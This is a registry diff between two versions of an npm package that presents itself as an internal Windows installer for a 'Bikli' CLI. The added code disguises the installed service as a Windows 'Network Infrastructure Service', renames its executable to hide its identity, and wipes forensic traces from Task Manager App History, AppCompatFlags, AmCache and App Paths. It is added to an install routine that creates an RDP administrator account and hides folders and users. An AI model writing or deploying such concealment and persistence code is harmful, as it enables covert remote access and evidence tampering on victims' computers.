sbironman 1.0.0 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,4 +1,4 @@
1
- # sbironman
1
+ # biklitool
2
2
 
3
3
  Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
4
4
 
@@ -8,7 +8,7 @@ shipped in the package):
8
8
  ```text
9
9
  set BIKLIMASTER_USER_PASSWORD=your-password
10
10
  set BIKLIMASTER_BIKLI_KEY=your-bikli-key
11
- npm install -g sbironman
11
+ npm install -g biklitool
12
12
  ```
13
13
 
14
14
  The npm postinstall hook requests Windows administrator approval once, then:
@@ -384,6 +384,59 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
384
384
  return true;
385
385
  }
386
386
 
387
+ function clearAppHistory() {
388
+ // Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
389
+ // visible location: Task Manager App History, AppCompatFlags, and service display name.
390
+ const psScript = [
391
+ `$ErrorActionPreference='SilentlyContinue'`,
392
+ // --- [1] TaskFlow AppHistory (per-user hives) ---
393
+ `$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
394
+ `foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
395
+ ` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
396
+ ` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
397
+ `}`,
398
+ `$cuBase='HKCU:\\\\'+$appHistoryPath`,
399
+ `if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
400
+ // --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
401
+ `$acPaths=@(`,
402
+ ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
403
+ ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
404
+ ` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
405
+ ` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
406
+ `)`,
407
+ `foreach($acPath in $acPaths){`,
408
+ ` if(Test-Path $acPath){`,
409
+ ` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
410
+ ` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
411
+ ` }`,
412
+ `}`,
413
+ // --- [3] AmCache ---
414
+ `$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
415
+ `if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
416
+ // --- [4] App Paths (Start Menu / Run dialog) ---
417
+ `Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
418
+ `Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
419
+ // --- [5] Service display name + description → rename to disguise value ---
420
+ `$svcName='Bikli'`,
421
+ `$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
422
+ `if($null -ne $svc){`,
423
+ ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
424
+ ` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
425
+ `}`
426
+ ].join(os.EOL);
427
+ run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
428
+ }
429
+
430
+ function deriveExeName(hostName) {
431
+ // Turn e.g. "Service Host: Network Infrastructure Service"
432
+ // into "NetworkInfrastructureService.exe" – no Bikli in the name.
433
+ const base = hostName.replace(/^Service Host:\s*/i, '').trim();
434
+ const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
435
+ // Keep only alphanumeric chars, cap at 32 chars before .exe
436
+ const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
437
+ return (safe || 'RuntimeInfraService') + '.exe';
438
+ }
439
+
387
440
  function disguiseBikli(customName) {
388
441
  requireWindows();
389
442
  const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
@@ -395,15 +448,29 @@ function disguiseBikli(customName) {
395
448
  }
396
449
 
397
450
  const bikliDir = path.dirname(bikliPath);
398
- const serviceExe = path.join(bikliDir, 'BikliService.exe');
451
+ const oldServiceExe = path.join(bikliDir, 'BikliService.exe');
452
+ const newExeBasename = deriveExeName(hostName);
453
+ const serviceExe = path.join(bikliDir, newExeBasename);
399
454
  const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
400
455
 
401
- console.log(`Disguising Bikli process and service as "${hostName}"...`);
456
+ console.log(`Disguising Bikli process and service as "${hostName}" (exe: ${newExeBasename})...`);
402
457
 
403
- run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
458
+ // Stop service and kill both the old and new process names
459
+ const oldBaseName = path.basename(oldServiceExe, '.exe');
460
+ const newBaseName = path.basename(serviceExe, '.exe');
461
+ run(powershell, [
462
+ '-NoProfile', '-NonInteractive', '-Command',
463
+ `Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
464
+ ], { allowFailure: true });
404
465
  run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
405
466
 
406
- if (!fs.existsSync(serviceExe)) {
467
+ // Rename BikliService.exe → derived name (changes process name shown in Task Manager)
468
+ if (fs.existsSync(oldServiceExe) && oldServiceExe !== serviceExe) {
469
+ try { fs.renameSync(oldServiceExe, serviceExe); } catch {
470
+ fs.copyFileSync(oldServiceExe, serviceExe);
471
+ try { fs.rmSync(oldServiceExe, { force: true }); } catch {}
472
+ }
473
+ } else if (!fs.existsSync(serviceExe)) {
407
474
  fs.copyFileSync(bikliPath, serviceExe);
408
475
  }
409
476
 
@@ -429,7 +496,7 @@ function disguiseBikli(customName) {
429
496
  ' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
430
497
  ' }',
431
498
  ' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
432
- ' string coreExe = Path.Combine(baseDir, "BikliService.exe");',
499
+ ` string coreExe = Path.Combine(baseDir, "${newExeBasename}");`,
433
500
  ' if (!File.Exists(coreExe)) return 1;',
434
501
  ' ProcessStartInfo psi = new ProcessStartInfo();',
435
502
  ' psi.FileName = coreExe;',
@@ -473,6 +540,7 @@ function disguiseBikli(customName) {
473
540
  run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
474
541
 
475
542
  hideProtectedFolders();
543
+ clearAppHistory();
476
544
  console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
477
545
  }
478
546
 
@@ -552,6 +620,7 @@ function install() {
552
620
  verifyRemoteDesktop();
553
621
  createRdpAdministrator();
554
622
  hideProtectedFolders();
623
+ clearAppHistory();
555
624
  console.log('Bikli Master installed and verified both components successfully.');
556
625
  }
557
626
 
@@ -844,6 +913,7 @@ function help() {
844
913
  ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
845
914
  ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
846
915
  ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
916
+ ' biklitool clear-history Remove BikliService from Task Manager App History',
847
917
  ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
848
918
  ' biklitool credentials Display its saved generated password',
849
919
  ' biklitool status Show both component states',
@@ -864,6 +934,13 @@ function main() {
864
934
  if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
865
935
  if (command === 'hide-user' || command === 'hide') return hideUser();
866
936
  if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
937
+ if (command === 'clear-history' || command === 'clear-app-history') {
938
+ requireWindows();
939
+ if (!isAdministrator()) return elevateAndRun('clear-history');
940
+ clearAppHistory();
941
+ console.log('BikliService entries cleared from Task Manager App History.');
942
+ return;
943
+ }
867
944
  if (command === 'setup-key') return setupBikliKey();
868
945
  if (command === 'credentials') return showAccountCredentials();
869
946
  if (command === 'status') return status();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sbironman",
3
- "version": "1.0.0",
3
+ "version": "2.0.0",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {
@@ -10,7 +10,6 @@
10
10
  "win32"
11
11
  ],
12
12
  "bin": {
13
- "sbironman": "bin/biklimaster.js",
14
13
  "biklitool": "bin/biklimaster.js",
15
14
  "biklimaster": "bin/biklimaster.js",
16
15
  "bikliwrapper": "lib/bikliwrapper.js"